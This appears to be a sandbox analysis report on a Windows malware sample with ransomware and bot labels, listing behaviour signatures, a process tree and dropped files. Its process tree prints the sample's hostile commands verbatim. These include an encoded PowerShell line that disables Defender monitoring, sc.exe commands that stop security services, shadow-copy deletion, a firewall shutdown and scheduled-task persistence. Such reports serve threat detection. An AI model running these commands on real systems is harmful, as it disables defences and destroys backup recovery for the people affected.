Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    17/05/2026, 01:58

General

  • Target
    2026-05-17_3f34745f1550e38c813e640ecfd86041_destroyer_elex_glassworm_ngrbot_wannacry.exe
  • Size 49KB
  • Sample260517-cd8ncsbx4v
  • SHA256 aedb3fb4b643e75075b54f434202b2ad04159c017aeac4f4de379502e5183ed8
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Detects command variations typically used by ransomware 2 IoCs
  • Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Disables service(s) 3 TTPs
  • Drops startup file 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops file in System32 directory 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-05-17_3f34745f1550e38c813e640ecfd86041_destroyer_elex_glassworm_ngrbot_wannacry.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-05-17_3f34745f1550e38c813e640ecfd86041_destroyer_elex_glassworm_ngrbot_wannacry.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Drops startup file
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1584
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4652
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:2556
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:2732
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:2112
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:1332
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:4136
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:656
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:1764
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:4536
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1060
      • C:\Users\Admin\AppData\Local\Temp\2026-05-17_3f34745f1550e38c813e640ecfd86041_destroyer_elex_glassworm_ngrbot_wannacry.exe
        "C:\Users\Admin\AppData\Local\Temp\2026-05-17_3f34745f1550e38c813e640ecfd86041_destroyer_elex_glassworm_ngrbot_wannacry.exe"
        3⤵
          PID:448
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
          PID:1248
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-05-17_3f34745f1550e38c813e640ecfd86041_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:348
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2528
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:1332
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic shadowcopy delete
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3796
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2200
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            3⤵
            • Gathers system information
            PID:1084
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2360
          • C:\Windows\system32\tasklist.exe
            tasklist
            3⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:3300
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4324
          • C:\Windows\system32\whoami.exe
            whoami
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:5004
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:864
          • C:\Windows\system32\net.exe
            net user
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3488
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 user
              4⤵
                PID:1860
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1804
            • C:\Windows\system32\ipconfig.exe
              ipconfig /all
              3⤵
              • Gathers network information
              PID:4404
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:3528
            • C:\Windows\system32\NETSTAT.EXE
              netstat -an
              3⤵
              • Gathers network information
              • Suspicious use of AdjustPrivilegeToken
              PID:2364
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-05-17_3f34745f1550e38c813e640ecfd86041_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:3448
          • C:\Windows\System32\wscript.exe
            "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
            2⤵
              PID:4588
            • C:\Windows\System32\notepad.exe
              "C:\Windows\System32\notepad.exe"
              2⤵
                PID:444
              • C:\Windows\System32\vssadmin.exe
                "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                2⤵
                • Interacts with shadow copies
                PID:3824
              • C:\Windows\System32\wbem\WMIC.exe
                "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                2⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:224
              • C:\Windows\System32\net.exe
                "C:\Windows\System32\net.exe" stop srservice
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:3716
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop srservice
                  3⤵
                    PID:2336
                • C:\Windows\System32\netsh.exe
                  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                  2⤵
                  • Modifies Windows Firewall
                  • Event Triggered Execution: Netsh Helper DLL
                  PID:472
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                  2⤵
                  • Launches sc.exe
                  PID:1516
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" stop i8042prt
                  2⤵
                  • Launches sc.exe
                  PID:4536
              • C:\Windows\system32\LogonUI.exe
                "LogonUI.exe" /flags:0x0 /state0:0xa3a0f855 /state1:0x41c64e6d
                1⤵
                • Modifies data under HKEY_USERS
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of SetWindowsHookEx
                PID:1092
              • C:\Users\Admin\AppData\Local\Temp\2026-05-17_3f34745f1550e38c813e640ecfd86041_destroyer_elex_glassworm_ngrbot_wannacry.exe
                C:\Users\Admin\AppData\Local\Temp\2026-05-17_3f34745f1550e38c813e640ecfd86041_destroyer_elex_glassworm_ngrbot_wannacry.exe
                1⤵
                  PID:1184
                • C:\Windows\system32\vssvc.exe
                  C:\Windows\system32\vssvc.exe
                  1⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2888
                • C:\Windows\system32\wbem\wmiprvse.exe
                  C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                  1⤵
                    PID:4136

                  Network

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                        Downloads

                        invoice_1.pdf

                        • Path C:\ProgramData\invoice_1.pdf
                        • Size 66KB
                        • SHA256 4ed1bd42e6a60fdca4cf5adddfc365a0dee74cd3d5ffd4d4d0f7c23d94ddd988
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        doc_3.pdf

                        • Path C:\SystemVolumeInformation\doc_3.pdf
                        • Size 66KB
                        • SHA256 400f40ceee93a1c8653f841e2b45f4cf7e536410a314cf9383e4614328758258
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        2026-05-17_3f34745f1550e38c813e640ecfd86041_destroyer_elex_glassworm_ngrbot_wannacry.exe.log

                        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\2026-05-17_3f34745f1550e38c813e640ecfd86041_destroyer_elex_glassworm_ngrbot_wannacry.exe.log
                        • Size 660B
                        • SHA256 0e692bcbba51ca4e766a427c9f28a7a4a9e326d2cf835493e57a9dc2121326b5
                        • MD5 SHA1 SHA512 TLSH

                        __PSScriptPolicyTest_am2id3yk.vfa.ps1

                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_am2id3yk.vfa.ps1
                        • Size 60B
                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                        • MD5 SHA1 SHA512 TLSH

                        createshortcut.vbs

                        • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                        • Size 309B
                        • SHA256 0e26fc58c0ebe3fbccda48dca6a162b68696cf641d0e4ac4ee9e7c7aa5387e15
                        • MD5 SHA1 SHA512 TLSH

                        del.bat

                        • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                        • Size 59B
                        • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                        • MD5 SHA1 SHA512 TLSH

                        makelnk.vbs

                        • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                        • Size 310B
                        • SHA256 5c012b3487ffb55380cb47cccec6e0c46026fa26a4266d95cc0f0b0c55869130
                        • MD5 SHA1 SHA512 TLSH

                        sysupdate.exe

                        • Path C:\Windows\System32\sysupdate.exe
                        • Size 49KB
                        • SHA256 aedb3fb4b643e75075b54f434202b2ad04159c017aeac4f4de379502e5183ed8
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        memory/444-2253-0x000002BB79F70000-0x000002BB79F71000-memory.dmp

                        memory/1584-2267-0x000000001C9F0000-0x000000001CA00000-memory.dmp

                        memory/1584-3-0x000000001F770000-0x000000001FC98000-memory.dmp

                        memory/1584-2-0x000000001F5A0000-0x000000001F762000-memory.dmp

                        memory/1584-0-0x0000000000830000-0x0000000000842000-memory.dmp

                        memory/1584-1-0x000000001C9F0000-0x000000001CA00000-memory.dmp

                        memory/4652-2228-0x0000025B44290000-0x0000025B442AC000-memory.dmp

                        memory/4652-2242-0x0000025B442D0000-0x0000025B442EA000-memory.dmp

                        memory/4652-2235-0x0000025B44270000-0x0000025B4427A000-memory.dmp

                        memory/4652-2243-0x0000025B44280000-0x0000025B44288000-memory.dmp

                        memory/4652-2245-0x0000025B442B0000-0x0000025B442B6000-memory.dmp

                        memory/4652-2246-0x0000025B442C0000-0x0000025B442CA000-memory.dmp

                        memory/4652-2003-0x0000025B44030000-0x0000025B4403A000-memory.dmp

                        memory/4652-1598-0x0000025B44060000-0x0000025B44113000-memory.dmp

                        memory/4652-1565-0x0000025B44040000-0x0000025B4405C000-memory.dmp

                        memory/4652-35-0x0000025B43C70000-0x0000025B43C92000-memory.dmp